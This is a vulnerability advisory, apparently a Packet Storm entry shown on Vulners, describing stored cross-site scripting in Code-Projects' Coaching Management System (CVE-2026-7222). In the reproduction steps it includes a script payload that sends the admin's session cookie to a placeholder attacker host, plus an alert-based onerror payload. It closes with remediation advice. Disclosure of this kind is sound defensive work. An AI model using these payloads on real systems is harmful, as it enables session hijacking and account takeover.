Lucene search
K

📄 Coaching Management System 1.0 Cross Site Scripting

🗓️ 29 Apr 2026 00:00:00Reported by Imad AlviType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 37 Views

Stored cross site scripting in complaint and reply features enables account takeover.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-7222
28 Apr 202603:45
attackerkb
Circl
CVE-2026-7222
29 Apr 202611:00
circl
CNNVD
Code-Projects Coaching Management System 跨站脚本漏洞
28 Apr 202600:00
cnnvd
CVE
CVE-2026-7222
28 Apr 202603:45
cve
Cvelist
CVE-2026-7222 code-projects Coaching Management System Complaint Form complaint.php cross site scripting
28 Apr 202603:45
cvelist
EUVD
EUVD-2026-25979
28 Apr 202603:45
euvd
NVD
CVE-2026-7222
28 Apr 202604:16
nvd
Positive Technologies
PT-2026-35654
28 Apr 202600:00
ptsecurity
### Stored Cross-Site Scripting (XSS) in Coaching Management System Leads to Account Takeover
    
    ---
    
    ## Product
    
    Coaching Management System in PHP (Code-Projects.org)
    https://code-projects.org/coaching-management-system-in-php-with-source-code/
    
    ---
    
    ## Affected Components
    
    * /modules/student/complaint.php (Complaint Submission)
    * /modules/admin/incomingcomplaint.php (Complaint Viewing)
    * Complaint Reply Functionality (Admin/Teacher → Student)
    
    ---
    
    ## Version
    
    Unknown (No version information provided by the vendor; tested on the latest available version from Code-Projects.org as of April 2026)
    
    ---
    
    ## Vulnerability Type
    
    CWE-79: Improper Neutralization of Input During Web Page Generation (Stored Cross-Site Scripting)
    
    ---
    
    ## Description
    
    The application fails to properly sanitize user-supplied input in the complaint and reply functionality. Malicious JavaScript injected by a low-privileged user is stored and executed when viewed by higher-privileged users such as administrators or teachers.
    
    Additionally, the reply functionality is also vulnerable, allowing administrators or teachers to inject JavaScript that executes in student sessions.
    
    This results in stored XSS vulnerability affecting multiple user roles.
    
    ---
    
    ## Steps to Reproduce
    
    ### Case 1: Student → Admin (Privilege Escalation)
    
    1. Login as Student
    2. Navigate to:
       /modules/student/complaint.php
       <img width="1920" height="1080" alt="Screenshot 2026-04-10 212940" src="https://github.com/user-attachments/assets/2e6e72ed-bd2f-4e77-850a-a0b0f28a6aba" />
    
    4. Submit a complaint with the following payload:
    
    ```html
    <script>
    new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
    </script>
    ```
    <img width="1920" height="1080" alt="Screenshot 2026-04-10 213341" src="https://github.com/user-attachments/assets/dbddb6ef-6380-403e-91da-fc8012d0d08b" />
    
    
    4. Login as Admin
    5. Navigate to:
       /modules/admin/incomingcomplaint.php
       <img width="1920" height="1080" alt="Screenshot 2026-04-10 212951" src="https://github.com/user-attachments/assets/c4e07392-a5ff-4885-8f5f-ac5e1da4ac25" />
    
    7. When the admin views the complaint, the payload executes automatically
    8. The admin session cookie is sent to the attacker-controlled server
    9. Use the stolen session cookie to hijack the admin session
       <img width="1920" height="1080" alt="Screenshot 2026-04-10 213350" src="https://github.com/user-attachments/assets/432fa992-6147-4abb-b37d-11e8f84c7fb4" />
    <img width="1920" height="1080" alt="Screenshot 2026-04-10 213406" src="https://github.com/user-attachments/assets/935f3cda-c802-401b-bd6d-8a6783078586" />
    
    
    ---
    
    ### Case 2: Admin → Student (Reverse XSS)
    
    1. Login as Admin
    2. Reply to a complaint using payload:
    
    ```html
    <img src=x onerror=alert(window.location)>
    ```
    
    3. Login as Student
    4. View the complaint reply
    
    ---
    
    ## Proof of Concept Evidence
    
    * JavaScript execution confirmed in admin panel upon viewing malicious complaint
    * Session cookie (PHPSESSID) successfully exfiltrated via attacker-controlled server
    * Admin session hijacked using stolen cookie
    * JavaScript execution confirmed in student panel via reply functionality
    
    ---
    
    ## Impact
    
    * Low-privileged users (students) can execute arbitrary JavaScript in admin context
    * Leads to session hijacking due to absence of HttpOnly flag
    * Full administrative account takeover
    * Bidirectional XSS allows compromise of multiple roles (Admin, Teacher, Student)
    * Complete compromise of application integrity, confidentiality, and availability
    
    Severity: CRITICAL
    
    ---
    
    ## Root Cause
    
    * Lack of input sanitization
    * Absence of output encoding
    * Missing security controls on session cookies (HttpOnly flag not set)
    
    ---
    
    ## Recommendation
    
    * Sanitize and validate all user inputs.
    * Encode output using functions like htmlspecialchars() in PHP
    * Set HttpOnly and Secure flags on session cookies
    * Implement Content Security Policy (CSP)
    
    ---

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2026 00:00Current
4.3Medium risk
Vulners AI Score4.3
CVSS 3.13.5
CVSS 24
CVSS 45.1
CVSS 33.5
EPSS0.00036
37